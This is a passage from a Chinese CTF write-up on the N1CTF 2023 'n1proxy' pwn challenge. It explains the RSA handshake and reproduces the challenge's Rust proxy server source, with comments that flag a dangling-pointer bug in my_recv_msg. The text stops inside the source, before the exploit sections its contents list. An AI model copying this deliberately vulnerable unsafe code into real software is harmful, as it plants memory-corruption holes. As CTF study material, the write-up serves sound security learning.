文章目录
- 参考
- rsa
- 握手
- rust_proxy源码
- 公匙交换和签名
- 会话钥匙
- 后续通信
- 生命周期和裸指针
- 代码审计
- 漏洞点 libc-2.27.so
- 大致思路(exp还有变化)
- 调试
- exp
- 泄露libc
- 写free_hook
- 执行命令
- exp
参考
https://github.com/Nu1LCTF/n1ctf-2023/tree/main/pwn/n1proxy
https://eqqie.cn/index.php/tag/Rust-Pwn
https://github.com/importcjj/rust-miniproxy/blob/master/docs/SOCKS5%E5%8D%8F%E8%AE%AE.md
rsa
在RSA密钥对中,通常有两个部分:公钥和私钥。公钥可以安全地分发给任何人,用于加密数据或验证签名。私钥则必须保密,用于解密数据或生成签名。在某些情况下,你可能有一个只包含公钥的密钥对象,或者同时包含公钥和私钥的密钥对象。
握手
公钥对签名进行解码的过程实际上是数字签名验证的过程,它依赖于公钥加密算法的数学原理。以下是为什么使用公钥对签名进行解码会与哈希算法处理的结果匹配的原因:
-
数字签名的生成:
- 当客户端生成数字签名时,它首先使用一个安全的哈希函数(如SHA-256)对数据(例如公钥本身或其哈希值)生成一个哈希值。这个哈希值是原始数据的摘要,任何微小的变化都会导致哈希值发生显著变化。
-
使用私钥加密哈希值:
- 接下来,客户端使用自己的私钥对这个哈希值进行加密,生成数字签名。在RSA算法中,这个过程实际上是将哈希值提升到模数的指数次幂然后对模数取模。
-
发送数据和签名:
- 客户端将原始数据(公钥)和数字签名一起发送给服务器。
-
验证数字签名:
- 服务器接收到数据和签名后,首先对相同的数据使用相同的哈希算法生成哈希值。
- 然后,服务器使用客户端的公钥尝试对签名进行“解密”。在RSA中,这意味着将签名值进行模数的逆操作(即指数的模数逆次幂)。
-
匹配过程:
- 如果签名是有效的,使用公钥解密得到的值应该与服务器自己计算的哈希值相同。这是因为私钥加密和公钥解密是互逆的操作,它们共享相同的模数(在RSA中是公钥和私钥的共同部分)。
rust_proxy源码
use aes::cipher::block_padding::Pkcs7;
use aes::cipher::generic_array::GenericArray;
use aes::cipher::typenum::U16;
use aes::cipher::typenum::U32;
use aes::cipher::BlockDecryptMut;
use aes::cipher::BlockEncryptMut;
use aes::cipher::KeyIvInit;
use aes::Aes256;
use anyhow::anyhow;
use anyhow::Result;
use cbc::Decryptor;
use cbc::Encryptor;
use lazy_static::lazy_static;
use libc::c_char;
use libc::c_int;
use libc::c_void;
use libc::in_addr_t;
use libc::iovec;
use libc::mallopt;
use libc::memcmp;
use libc::msghdr;
use libc::read;
use libc::recvfrom;
use libc::recvmsg;
use libc::sendmsg;
use libc::sendto;
use libc::size_t;
use libc::sockaddr_in;
use libc::sockaddr_un;
use libc::socket;
use libc::ssize_t;
use libc::write;
use libc::AF_INET;
use libc::AF_UNIX;
use libc::MSG_CONFIRM;
use libc::MSG_WAITALL;
use libc::SOCK_DGRAM;
use libc::SOCK_STREAM;
use rand::thread_rng;
use rand::Rng;
use rsa::pkcs1v15;
use rsa::signature::SignatureEncoding;
use rsa::signature::Signer;
use rsa::signature::Verifier;
use rsa::traits::PublicKeyParts;
use rsa::Pkcs1v15Encrypt;
use rsa::RsaPrivateKey;
use rsa::RsaPublicKey;
use sha2::Digest;
use sha2::Sha256;
use std::collections::HashMap;
use std::collections::HashSet;
use std::env;
use std::fs;
use std::mem;
use std::path::Path;
use std::process::exit;
use std::slice;
use std::sync::Arc;
use std::thread;
type Aes256CbcEnc = Encryptor<Aes256>;
type Aes256CbcDec = Decryptor<Aes256>;
const HELLO_MSG: &str = "n1proxy server v0.1";
const CLIENT_HELLO: &str = "n1proxy client v0.1";
const KEY_BITS: usize = 4096;
const MAX_STREAM: usize = 30;
const TOTAL_STREAM: usize = MAX_STREAM;
#[derive(Debug, Clone)]
struct SessionKey {
key: Vec<u8>,
iv: Vec<u8>,
}
impl SessionKey {
pub fn to_bytes(&self) -> Vec<u8> {
let mut res = self.key.clone();
res.extend(self.iv.clone());
res
}
}
lazy_static! {
static ref PRIV_KEY: Arc<RsaPrivateKey> = Arc::new({
let mut rng = rand::thread_rng();
RsaPrivateKey::new(&mut rng, KEY_BITS).expect("failed to generate a key")
});
static ref CLIENT_KEY: parking_lot::Mutex<HashMap<RsaPublicKey, SessionKey>> =
parking_lot::Mutex::new(HashMap::new());
static ref CLIENT_STREAM: parking_lot::Mutex<HashMap<RsaPublicKey, HashSet<i32>>> =
parking_lot::Mutex::new(HashMap::new());
}
#[allow(dead_code)]
#[derive(Debug)]
enum ConnType {
New = 0,
Restore = 1,
Renew = 2,
Restart = 114514,
Unknown = 3,
}
impl ConnType {
pub fn from_le_bytes(data: &[u8]) -> ConnType {
let data = u32::from_le_bytes(match data.try_into() {
Ok(data) => data,
Err(_) => return ConnType::Unknown,
});
match data {
0 => ConnType::New,
1 => ConnType::Restore,
2 => ConnType::Renew,
_ => ConnType::Unknown,
}
}
}
#[derive(Debug)]
enum ProxyType {
Tcp = 0,
Udp = 1,
Sock = 2,
Unknown = 3,
}
#[derive(Debug)]
enum ProxyStatus {
Send = 0,
Recv = 1,
Conn = 2,
Close = 3,
Listen = 4,
Unknown = 5,
}
impl ProxyType {
pub fn from_le_bytes(data: &[u8]) -> ProxyType {
let data = u32::from_le_bytes(match data.try_into() {
Ok(data) => data,
Err(_) => return ProxyType::Unknown,
});
match data {
0 => ProxyType::Tcp,
1 => ProxyType::Udp,
2 => ProxyType::Sock,
_ => ProxyType::Unknown,
}
}
}
impl ProxyStatus {
pub fn from_le_bytes(data: &[u8]) -> ProxyStatus {
let data = u32::from_le_bytes(match data.try_into() {
Ok(data) => data,
Err(_) => return ProxyStatus::Unknown,
});
match data {
0 => ProxyStatus::Send,
1 => ProxyStatus::Recv,
2 => ProxyStatus::Conn,
3 => ProxyStatus::Close,
4 => ProxyStatus::Listen,
_ => ProxyStatus::Unknown,
}
}
}
macro_rules! os_error {
() => {
Err(std::io::Error::last_os_error().into())
};
}
extern "C" {
fn inet_addr(__cp: *const c_char) -> in_addr_t;
}
#[inline(always)]
fn my_write(fd: c_int, buf: *const c_void, count: size_t) -> Result<ssize_t> {
let res = unsafe { write(fd, buf, count) };
if res < 0 {
Err(anyhow!("Failed to write to socket"))
} else {
Ok(res)
}
}
#[inline(always)]
fn my_read(fd: c_int, buf: *mut c_void, count: size_t) -> Result<ssize_t> {
let res = unsafe { read(fd, buf, count) };
if res < 0 {
Err(anyhow!("Failed to read from socket"))
} else {
Ok(res)
}
}
fn my_connect(target_ip: &str, target_port: u16) -> Result<i32> {
let target_fd = unsafe { libc::socket(AF_INET, SOCK_STREAM, 0) };
let target_ip = target_ip.to_owned() + "\0";
let mut target: sockaddr_in = unsafe { mem::zeroed() };
target.sin_family = libc::AF_INET as u16;
target.sin_addr.s_addr = unsafe { inet_addr(target_ip.as_ptr() as *const _) };
target.sin_port = target_port.to_be();
let res = unsafe {
libc::connect(
target_fd,
&target as *const _ as *const _,
mem::size_of_val(&target) as u32,
)
};
if res < 0 {
return os_error!();
}
Ok(target_fd)
}
// record fd and target addr
lazy_static! {
static ref UDP_TARGET: parking_lot::Mutex<HashMap<i32, sockaddr_in>> =
parking_lot::Mutex::new(HashMap::new());
}
#[inline(always)]
fn my_new_udp_connect(target_ip: &str, target_port: u16) -> Result<i32> {
let sockfd = unsafe { socket(AF_INET, SOCK_DGRAM, 0) };
if sockfd <= 0 {
return os_error!();
}
let mut server_addr: sockaddr_in = unsafe { mem::zeroed() };
let target_ip = target_ip.to_owned() + "\0";
server_addr.sin_family = AF_INET as u16;
server_addr.sin_addr.s_addr = unsafe { inet_addr(target_ip.as_ptr() as *const _) };
server_addr.sin_port = target_port.to_be();
let res = unsafe {
libc::connect(
sockfd,
&server_addr as *const _ as *const _,
mem::size_of_val(&server_addr) as u32,
)
};
if res < 0 {
return os_error!();
}
UDP_TARGET.lock().insert(sockfd, server_addr);
Ok(sockfd)
}
#[inline(always)]
fn my_sendto(fd: i32, msg: &[u8]) -> Result<isize> {
let target = *UDP_TARGET
.lock()
.get(&fd)
.ok_or_else(|| anyhow!("Invalid fd"))?;
let res = unsafe {
sendto(
fd,
msg.as_ptr() as *const _ as *const _,
msg.len(),
MSG_CONFIRM,
&target as *const _ as *const _,
mem::size_of_val(&target) as u32,
)
};
if res < 0 {
return os_error!();
}
Ok(res)
}
#[inline(always)]
fn my_recvfrom(fd: i32, recv_size: usize) -> Result<Vec<u8>> {
let mut target = *UDP_TARGET
.lock()
.get(&fd)
.ok_or_else(|| anyhow!("Invalid fd"))?;
let mut res_msg = vec![0u8; recv_size];
let mut addr_len = mem::size_of_val(&target) as u32;
let recv_size = unsafe {
recvfrom(
fd,
res_msg.as_mut_ptr() as *mut _,
recv_size,
MSG_WAITALL,
&mut target as *mut _ as *mut _,
&mut addr_len,
)
};
if recv_size < 0 {
return os_error!();
}
Ok(res_msg.to_vec())
}
const SOCKET_DIR: &str = "/tmp/n1proxy";
lazy_static! {
static ref LISTEN_SOCK: parking_lot::Mutex<HashMap<String, (i32, Vec<i32>)>> =
parking_lot::Mutex::new(HashMap::new());
}
fn hash_filename(path: &str, target_port: u16) -> String {
Sha256::digest(format!("{}-{}", path, target_port))
.iter()
.map(|b| format!("{:02x}", b))
.collect::<Vec<_>>()
.join("")
}
#[inline(always)]
fn new_unix_socket_listen(path: &str, target_port: u16) -> Result<i32> {
let socket_path = Path::new(SOCKET_DIR);
if !socket_path.exists() {
fs::create_dir_all(socket_path).expect("Failed to create socket dir");
}
let real_path = socket_path.join(hash_filename(path, target_port));
println!("Socket path {:?}", real_path);
let (sockfd, _) = LISTEN_SOCK
.lock()
.get(&real_path.as_os_str().to_string_lossy().to_string())
.map(|f| {
println!("cached fd");
Ok(f.to_owned())
})
.unwrap_or_else(|| {
println!("create new unix socket");
let sockfd = unsafe { socket(AF_UNIX, SOCK_STREAM, 0) };
if sockfd <= 0 {
return os_error!();
}
let mut sock: sockaddr_un = unsafe { mem::zeroed() };
sock.sun_family = AF_UNIX as u16;
let path: String = real_path.as_os_str().to_string_lossy().to_string() + "\0";
if path.len() > sock.sun_path.len() {
return Err(anyhow!("Socket path too long"));
}
unsafe {
libc::strcpy(sock.sun_path.as_mut_ptr(), path.as_ptr() as *const _);
}
let res = unsafe { //绑定套接字和套接字文件地址结构
libc::bind(
sockfd,
&sock as *const _ as *const _,
mem::size_of_val(&sock) as u32,
)
};
if res < 0 {
unsafe {
libc::close(sockfd);
}
println!("Failed to bind socket");
return os_error!();
}
let res = unsafe { libc::listen(sockfd, 100) };
if res < 0 {
unsafe {
libc::close(sockfd);
}
println!("Failed listen socket");
return os_error!();
}
Ok((sockfd, vec![]))
})?;
let client_fd = unsafe { libc::accept(sockfd, std::ptr::null_mut(), std::ptr::null_mut()) };
if client_fd < 0 {
unsafe {
libc::close(sockfd);
}
return os_error!();
}
LISTEN_SOCK
.lock()
.entry(real_path.as_os_str().to_string_lossy().to_string())
.or_insert((sockfd, vec![]))
.1
.append(&mut vec![client_fd]);
// 键为real_path,值为一个元组,
// 包含两个元素:sockfd(Unix域套接字的监听文件描述符)和一个空向量vec![](用于存储从监听套接字上接受到的客户端连接的文件描述符)。
// .1表示访问元组的第二个元素,即存储客户端连接文件描述符的向量。append方法将包含client_fd的新向量追加到现有的客户端连接列表中
Ok(client_fd)
}
#[inline(always)]
fn new_unix_socket_connect(path: &str, target_port: u16) -> Result<i32> { //连接之前的在服务器开启listen的监听套接字,返回服务端套接字
let sockfd = unsafe { socket(AF_UNIX, SOCK_STREAM, 0) };
if sockfd <= 0 {
return os_error!();
}
let mut sock: sockaddr_un = unsafe { mem::zeroed() };
sock.sun_family = AF_UNIX as u16;
let path = Path::new(SOCKET_DIR)
.join(hash_filename(path, target_port))
.to_string_lossy()
.to_string()
+ "\0";
println!("connect socket path {:?}", path);
if path.len() > sock.sun_path.len() {
return Err(anyhow!("Socket path too long"));
}
unsafe {
libc::strcpy(sock.sun_path.as_mut_ptr(), path.as_ptr() as *const _);
}
let res = unsafe {
libc::connect(
sockfd,
&sock as *const _ as *const _,
mem::size_of_val(&sock) as u32,
)
};
// connect 是一个系统调用函数,用于建立与指定套接字地址的连接。在 Unix 系统中,它的函数原型如下:
// int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
// sockfd是要连接的套接字文件描述符。
// addr是指向 sockaddr 结构体的指针,它包含了要连接的目标地址信息。对于 Unix 域套接字,这个结构体是 sockaddr_un。
// addrlen是 sockaddr 结构体的长度(以字节为单位)。
if res < 0 {
unsafe {
libc::close(sockfd);
}
return os_error!();
}
Ok(sockfd) //返回目标套接字
}
#[inline(always)]
fn my_send_msg(fd: i32, msg: &[u8]) -> Result<isize> {
let mut iov = vec![iovec {
iov_base: msg.as_ptr() as *mut _,
iov_len: msg.len(),
}];
let m = msghdr {
msg_name: std::ptr::null_mut(),
msg_namelen: 0,
msg_iov: iov.as_mut_ptr(),
msg_iovlen: iov.len(),
msg_control: std::ptr::null_mut(),
msg_controllen: 0,
msg_flags: 0,
};
let send_res = unsafe { sendmsg(fd, &m, 0) }; //发送 msghdr 结构中 msg_iov 字段指向的数据
if send_res < 0 {
return os_error!();
}
Ok(send_res)
}
#[inline(always)]
fn my_recv_msg(fd: i32, recv_size: usize) -> Result<Vec<u8>> {
let mut recv_iov = [iovec {
iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _, //生命周期问题导致存在悬挂指针
iov_len: recv_size,
}];
let mut msg = msghdr {
msg_name: std::ptr::null_mut(),
msg_namelen: 0,
msg_iov: recv_iov.as_mut_ptr(),
msg_iovlen: 1,
msg_control: std::ptr::null_mut(),
msg_controllen: 0,
msg_flags: 0,
};
let recv_sz = unsafe { recvmsg(fd, &mut msg, 0) }; // 存到recv_iov[0].iov_base
if recv_sz < 0 {
return os_error!();
}
let res = unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) };
Ok(res.to_vec())
}
#[inline(always)]
fn now_timestamp() -> u64 {
let now = std::time::SystemTime::now();
now.duration_since(std::time::UNIX_EPOCH)
.expect("Time went backwards")
.as_secs()
}
fn session_dec(keys: SessionKey, msg: &[u8]) -> Result<Vec<u8>> {
if msg.len() % 16 != 0 {
return Err(anyhow!("Invalid message length"));
}
let key = GenericArray::<_, U32>::from_slice(
keys.key
.get(0..32)
.ok_or_else(|| anyhow!("Invalid key length {}", keys.key.len()))?,
);
let iv = GenericArray::<_, U16>::from_slice(
keys.iv
.get(0..16)
.ok_or_else(|| anyhow!("Invalid iv length {}", keys.iv.len()))?,
);
let mut msg = msg.to_vec();
let dec = match Aes256CbcDec::new(key, iv).decrypt_padded_mut::<Pkcs7>(&mut msg) {
Ok(dec) => dec,
Err(err) => return Err(anyhow!("Failed to decrypt message {}", err)),
};
Ok(dec.to_vec())
}
fn session_enc(keys: SessionKey, msg: &[u8]) -> Result<Vec<u8>> {
let key = GenericArray::<_, U32>::from_slice(
keys.key
.get(0..32)
.ok_or_else(|| anyhow!("Invalid key length {}", keys.key.len()))?,
);
let iv = GenericArray::<_, U16>::from_slice(
keys.iv
.get(0..16)
.ok_or_else(|| anyhow!("Invalid iv length {}", keys.iv.len()))?,
);
let mut msg = msg.to_vec();
let msg_len = msg.len();
let padding_len = (16 - (msg_len % 16)) % 16;
msg.extend(vec![padding_len as u8; padding_len]);
let enc = match Aes256CbcEnc::new(key, iv).encrypt_padded_mut::<Pkcs7>(&mut msg, msg_len) {
Ok(enc) => enc,
Err(err) => return Err(anyhow!("Failed to encrypt message {}", err)),
};
Ok(enc.to_vec())
}
fn handle_client(stream_fd: i32) -> Result<()> {
my_write(
stream_fd,
HELLO_MSG.as_ptr() as *const c_void,
HELLO_MSG.len() as size_t,
)?;
let mut client_hello = [0; CLIENT_HELLO.len()];
my_read(
stream_fd,
client_hello.as_mut_ptr() as *mut c_void,
client_hello.len() as size_t,
)?;
let res = unsafe {
memcmp(
client_hello.as_ptr() as *const c_void,
CLIENT_HELLO.as_ptr() as *const c_void,
CLIENT_HELLO.len() as size_t,
)
};
if res != 0 {
return Err(anyhow!("Invalid client hello"));
}
println!("Client connected");
let mut conn_type = vec![0; 4];
my_read(
stream_fd,
conn_type.as_mut_ptr() as *mut c_void,
conn_type.len() as size_t,
)?;
let conn_type = ConnType::from_le_bytes(&conn_type);
println!("Connection type {:?}", conn_type);
let pri_key = PRIV_KEY.as_ref().clone();
let pub_key = RsaPublicKey::from(&pri_key);
let pub_key_n = pub_key.n().to_bytes_be();
let pub_key_e = pub_key.e().to_bytes_be();
let key_exchange = vec![
pub_key_n.len().to_le_bytes().to_vec(),
pub_key_e.len().to_le_bytes().to_vec(),
pub_key_n,
pub_key_e,
]
.concat();
let signing_key = pkcs1v15::SigningKey::<Sha256>::new(pri_key.clone());
let key_exchange_sign = signing_key.sign(&key_exchange).to_bytes();
let key_exchange_sign = vec![
key_exchange_sign.len().to_le_bytes().to_vec(),
key_exchange_sign.to_vec(),
]
.concat();
println!("Sending key exchange");
my_write(
stream_fd,
key_exchange_sign.as_ptr() as *const c_void,
key_exchange_sign.len() as size_t,
)?;
my_write(
stream_fd,
key_exchange.as_ptr() as *const c_void,
key_exchange.len() as size_t,
)?;
let mut client_msg_len = [0; 8];
my_read(
stream_fd,
client_msg_len.as_mut_ptr() as *mut c_void,
client_msg_len.len() as size_t,
)?;
let client_verify_len = u64::from_le_bytes(client_msg_len) as usize;
println!("Client verify len {}", client_verify_len);
let mut client_verify = vec![0; client_verify_len];
my_read(
stream_fd,
client_verify.as_mut_ptr() as *mut c_void,
client_verify.len() as size_t,
)?;
my_read(
stream_fd,
client_msg_len.as_mut_ptr() as *mut c_void,
client_msg_len.len() as size_t,
)?;
let client_key_len = u64::from_le_bytes(client_msg_len) as usize;
let mut client_key_n = vec![0; client_key_len];
println!("Client key n len {}", client_key_len);
my_read(
stream_fd,
client_key_n.as_mut_ptr() as *mut c_void,
client_key_n.len() as size_t,
)?;
my_read(
stream_fd,
client_msg_len.as_mut_ptr() as *mut c_void,
client_msg_len.len() as size_t,
)?;
let client_key_len = u64::from_le_bytes(client_msg_len) as usize;
println!("Client key e len {}", client_key_len);
let mut client_key_e = vec![0; client_key_len];
my_read(
stream_fd,
client_key_e.as_mut_ptr() as *mut c_void,
client_key_e.len() as size_t,
)?;
let client_key = RsaPublicKey::new(
rsa::BigUint::from_bytes_be(&client_key_n),
rsa::BigUint::from_bytes_be(&client_key_e),
)?;
let client_verify_key = pkcs1v15::VerifyingKey::<Sha256>::new(client_key.clone());
let signature = pkcs1v15::Signature::try_from(&*client_verify)?;
client_verify_key
.verify(
&vec![
client_key_n.len().to_le_bytes().to_vec(),
client_key_n,
client_key_e.len().to_le_bytes().to_vec(),
client_key_e,
]
.concat(),
&signature,
)
.map_err(|_| anyhow!("Invalid client key"))?;
let session_key = match conn_type {
ConnType::New | ConnType::Renew => {
let session_key = SessionKey {
key: thread_rng().gen::<[u8; 32]>().to_vec(),
iv: thread_rng().gen::<[u8; 16]>().to_vec(),
};
//thread_rng() 函数用于获取线程本地的随机数生成器(ThreadRng)
//分别生成32字节的密钥和16字节的初始化向量(IV),它们被用于会话中的对称加密。这些值存储在SessionKey结构体中。
CLIENT_KEY
.lock()
.insert(client_key.clone(), session_key.clone());
println!("gen new key {:?}", session_key);
let enc_key =
client_key.encrypt(&mut thread_rng(), Pkcs1v15Encrypt, &session_key.to_bytes())?;
//客户端的公钥(client_key)和非对称加密算法(在这里是Pkcs1v15Encrypt)来加密session_key
let enc_time = client_key.encrypt(
&mut thread_rng(),
Pkcs1v15Encrypt,
&now_timestamp().to_le_bytes(),
)?;
let new_session = vec![
enc_key.len().to_le_bytes().to_vec(),
enc_key,
enc_time.len().to_le_bytes().to_vec(),
enc_time,
]
.concat();
//加密后的会话密钥和时间戳组合
let new_session_sign = signing_key.sign(&new_session).to_bytes();
//私钥(signing_key)对整个new_session消息进行签名
let new_session_sign = vec![
new_session_sign.len().to_le_bytes().to_vec(),
new_session_sign.to_vec(),
]
.concat();
my_write(
stream_fd,
new_session_sign.as_ptr() as *const c_void,
new_session_sign.len() as size_t,
)?;
my_write(
stream_fd,
new_session.as_ptr() as *const c_void,
new_session.len() as size_t,
)?;
println!("Sending new session finished");
session_key
}
ConnType::Restore => {
let session_keys = CLIENT_KEY.lock();
let session_key = session_keys
.get(&client_key)
.ok_or_else(|| anyhow!("Invalid client key"))?;
session_key.clone()
}
ConnType::Unknown => {
return Err(anyhow!("Invalid connection type"));
}
ConnType::Restart => {
exit(0);
}
};
let mut pre_conn = vec![0; 2048];
let recv_res = my_read(
stream_fd,
pre_conn.as_mut_ptr() as *mut c_void,
pre_conn.len() as size_t,
)?;
pre_conn.resize(recv_res as usize, 0);
let pre_conn = session_dec(session_key.clone(), &pre_conn)?;
//解密
if pre_conn.len() < 16 {
return Err(anyhow!("Invalid pre connection data"));
}
let conn_type = ProxyType::from_le_bytes(&pre_conn[0..4]);
let status = ProxyStatus::from_le_bytes(&pre_conn[4..8]);
//
println!("Conn type {:?} status {:?}", conn_type, status);
let signature = pkcs1v15::Signature::try_from(&pre_conn[8..])?;
client_verify_key
.verify(&pre_conn[0..8], &signature)
.map_err(|_| anyhow!("Invalid client key"))?;
let ok_msg = vec![0; 4];
let signing_key = pkcs1v15::SigningKey::<Sha256>::new(pri_key.clone());
let key_exchange_sign = signing_key.sign(&ok_msg).to_bytes();
let ok_msg = vec![
ok_msg,
key_exchange_sign.len().to_le_bytes().to_vec(),
key_exchange_sign.to_vec(),
]
.concat();
let ok_msg = session_enc(session_key.clone(), &ok_msg)?;
my_write(
stream_fd,
ok_msg.as_ptr() as *const c_void,
ok_msg.len() as size_t,
)?;
let res_msg = match status {
ProxyStatus::Send => {
let mut conn_data = vec![0; 2048];
let recv_res = my_read(
stream_fd,
conn_data.as_mut_ptr() as *mut c_void,
conn_data.len() as size_t,
)?;
conn_data.resize(recv_res as usize, 0);
let conn_data = session_dec(session_key.clone(), &conn_data)?;
if conn_data.len() < 32 {
return Err(anyhow!("Invalid data"));
}
let target_fd = i32::from_le_bytes(conn_data[0..4].try_into()?);
if CLIENT_STREAM
.lock()
.get(&client_key)
.and_then(|fds| fds.contains(&target_fd).then_some(0))
.is_none()
{
return Err(anyhow!("Invalid fd: {}", target_fd));
}
let mut send_data_size = usize::from_le_bytes(conn_data[4..12].try_into()?);
let mut send_data = vec![];
let mut remain_data = vec![];
if send_data_size <= conn_data.len() - 12 {
send_data.extend(conn_data[12..(12 + send_data_size)].to_vec());
remain_data = conn_data[(12 + send_data_size)..].to_vec();
if remain_data.len() < 512 {
let mut send_data_part = vec![0; 512];
let recv_res = my_read( //没发送完,分了两次发过来 签名长度一般大于等于512
stream_fd,
send_data_part.as_mut_ptr() as *mut c_void,
send_data_part.len() as size_t,
)?;
send_data_part.resize(recv_res as usize, 0);
let send_data_part = session_dec(session_key.clone(), &send_data_part)?;
remain_data.extend(send_data_part);
}
send_data_size = 0;
} else {
send_data.extend(conn_data[12..].to_vec());
send_data_size -= conn_data.len() - 12; //还不够数据的长度,下次发送过来还会有数据部分
}
if send_data_size > 0 { //还有数据部分没有发送过来
// ensure read signature
let mut send_data_part = vec![0; send_data_size + 0x2000];
let recv_res = my_read(
stream_fd,
send_data_part.as_mut_ptr() as *mut c_void,
send_data_part.len() as size_t,
)?;
send_data_part.resize(recv_res as usize, 0);
let send_data_part = session_dec(session_key.clone(), &send_data_part)?;
send_data.extend(send_data_part[0..send_data_size].to_vec());
remain_data.extend(send_data_part[send_data_size..].to_vec());
}
let signature = pkcs1v15::Signature::try_from(&*remain_data)?;
client_verify_key
.verify(
&vec![
target_fd.to_le_bytes().to_vec(),
send_data.len().to_le_bytes().to_vec(),
send_data.clone(),
]
.concat(),
&signature,
)
.map_err(|_| anyhow!("Invalid client key"))?;
println!("Send data to fd {} size {}", target_fd, send_data.len());
let send_res = match conn_type {
ProxyType::Tcp => my_write(
target_fd,
send_data.as_ptr() as *const c_void,
send_data.len() as size_t,
)?,
ProxyType::Udp => my_sendto(target_fd, &send_data)?,
ProxyType::Sock => my_send_msg(target_fd, &send_data)?,//服务器将客户端发送过来的数据发送给目标套接字
ProxyType::Unknown => return Err(anyhow!("Invalid conn type")),
};
send_res.to_le_bytes().to_vec()
}
ProxyStatus::Recv => {
let mut conn_data = vec![0; 2048];
let recv_res = my_read(
stream_fd,
conn_data.as_mut_ptr() as *mut c_void,
conn_data.len() as size_t,
)?;
conn_data.resize(recv_res as usize, 0);
let conn_data = session_dec(session_key.clone(), &conn_data)?;
if conn_data.len() < 32 {
return Err(anyhow!("Invalid data"));
}
let target_fd = i32::from_le_bytes(conn_data[0..4].try_into()?);
if CLIENT_STREAM
.lock()
.get(&client_key)
.and_then(|fds| fds.contains(&target_fd).then_some(0))
.is_none()
{
return Err(anyhow!("Invalid fd: {}", target_fd));
}
let recv_data_size = u64::from_le_bytes(conn_data[4..12].try_into()?);
println!("Recv data from fd {} size {}", target_fd, recv_data_size);
let signature = pkcs1v15::Signature::try_from(&conn_data[12..])?;
client_verify_key
.verify(&conn_data[0..12], &signature)
.map_err(|_| anyhow!("Invalid client key"))?;
let recv_data = match conn_type { //得到返回数据
ProxyType::Tcp => {
let mut recv_data = vec![0; recv_data_size as usize];
let recv_sz = my_read(
target_fd,
recv_data.as_mut_ptr() as *mut c_void,
recv_data.len() as size_t,
)?;
recv_data.resize(recv_sz as usize, 0);
recv_data
}
ProxyType::Udp => my_recvfrom(target_fd, recv_data_size as usize)?,
ProxyType::Sock => my_recv_msg(target_fd, recv_data_size as usize)?,
ProxyType::Unknown => return Err(anyhow!("Invalid conn type")),
};
println!(
"succ recv data from fd {} size {}",
target_fd,
recv_data.len()
);
vec![recv_data.len().to_le_bytes().to_vec(), recv_data.to_vec()].concat() //返回 len+data然后和主函数里签名一起加密发送客户端
}
ProxyStatus::Conn => {
let mut conn_data = vec![0; 2048];
let recv_res = my_read(
stream_fd,
conn_data.as_mut_ptr() as *mut c_void,
conn_data.len() as size_t,
)?;
conn_data.resize(recv_res as usize, 0);
let conn_data = session_dec(session_key.clone(), &conn_data)?;
if conn_data.len() < 64 {
return Err(anyhow!("Invalid pre connection data"));
}
let target_host_len = u32::from_le_bytes(conn_data[0..4].try_into()?);
let target_host =
String::from_utf8(conn_data[4..(4 + target_host_len) as usize].to_vec())?;
println!(
"Target host len {:?}",
conn_data[4..(4 + target_host_len) as usize].to_vec()
);
let mut next_index = 4 + target_host_len as usize;
let target_port =
u16::from_le_bytes(conn_data[next_index..(next_index + 2)].try_into()?);
next_index += 2;
println!(
"Target host {} {} port {}",
target_host_len, target_host, target_port
);
let signature = pkcs1v15::Signature::try_from(&conn_data[next_index..])?;
client_verify_key
.verify(&conn_data[0..next_index], &signature)
.map_err(|_| anyhow!("Invalid client key"))?;
let conn_fd = match conn_type {
ProxyType::Tcp => my_connect(&target_host, target_port)?,
ProxyType::Udp => my_new_udp_connect(&target_host, target_port)?,
ProxyType::Sock => new_unix_socket_connect(&target_host, target_port)?,
ProxyType::Unknown => return Err(anyhow!("Invalid conn type")),
};
let mut lock = CLIENT_STREAM.lock();
let total_stream_count = lock.values().map(|fds| fds.len()).sum::<usize>();
if total_stream_count >= TOTAL_STREAM {
unsafe {
libc::close(conn_fd);
}
return Err(anyhow!("Too many streams"));
}
let client_streams = lock.entry(client_key).or_insert_with(HashSet::new);
if client_streams.len() >= MAX_STREAM {
unsafe {
libc::close(conn_fd);
}
return Err(anyhow!("Too many streams"));
}
client_streams.insert(conn_fd);
println!("New conn fd {}", conn_fd);
conn_fd.to_le_bytes().to_vec()
}
ProxyStatus::Close => {
let mut conn_data = vec![0; 2048];
let recv_res = my_read(
stream_fd,
conn_data.as_mut_ptr() as *mut c_void,
conn_data.len() as size_t,
)?;
conn_data.resize(recv_res as usize, 0);
let conn_data = session_dec(session_key.clone(), &conn_data)?;
if conn_data.len() < 32 {
return Err(anyhow!("Invalid pre connection data"));
}
let target_fd = i32::from_le_bytes(conn_data[0..4].try_into()?);
let signature = pkcs1v15::Signature::try_from(&conn_data[4..])?;
client_verify_key
.verify(&conn_data[0..4], &signature)
.map_err(|_| anyhow!("Invalid client key"))?;
let mut lock = CLIENT_STREAM.lock();
let client_streams = lock.entry(client_key).or_insert_with(HashSet::new);
if client_streams.contains(&target_fd) {
unsafe {
libc::close(target_fd);
}
client_streams.remove(&target_fd);
}
match conn_type {
ProxyType::Udp => {
UDP_TARGET.lock().remove(&target_fd);
}
ProxyType::Sock => {
let mut socks = LISTEN_SOCK.lock();
socks.iter_mut().for_each(|(k, (i, v))| {
v.retain(|f| *f != target_fd);
if v.is_empty() {
unsafe {
libc::close(*i);
}
fs::remove_file(k).ok();
}
});
socks.retain(|_, (_, v)| !v.is_empty());
}
_ => (),
};
0u32.to_le_bytes().to_vec()
}
ProxyStatus::Listen => {
let mut conn_data = vec![0; 2048];
let recv_res = my_read(
stream_fd,
conn_data.as_mut_ptr() as *mut c_void,
conn_data.len() as size_t,
)?;
conn_data.resize(recv_res as usize, 0);
let conn_data = session_dec(session_key.clone(), &conn_data)?;
if conn_data.len() < 64 {
return Err(anyhow!("Invalid pre connection data"));
}
let target_host_len = u32::from_le_bytes(conn_data[0..4].try_into()?);
let target_host =
String::from_utf8(conn_data[4..(4 + target_host_len) as usize].to_vec())?;
let mut next_index = 4 + target_host_len as usize;
let target_port =
u16::from_le_bytes(conn_data[next_index..(next_index + 2)].try_into()?);
next_index += 2;
let signature = pkcs1v15::Signature::try_from(&conn_data[next_index..])?;
client_verify_key
.verify(&conn_data[0..next_index], &signature)
.map_err(|_| anyhow!("Invalid client key"))?;
let conn_fd = match conn_type {
ProxyType::Sock => new_unix_socket_listen(&target_host, target_port)?,
_ => return Err(anyhow!("Invalid conn type")),
}; //得到连接代理服务器的客户端套接字
let mut lock = CLIENT_STREAM.lock();
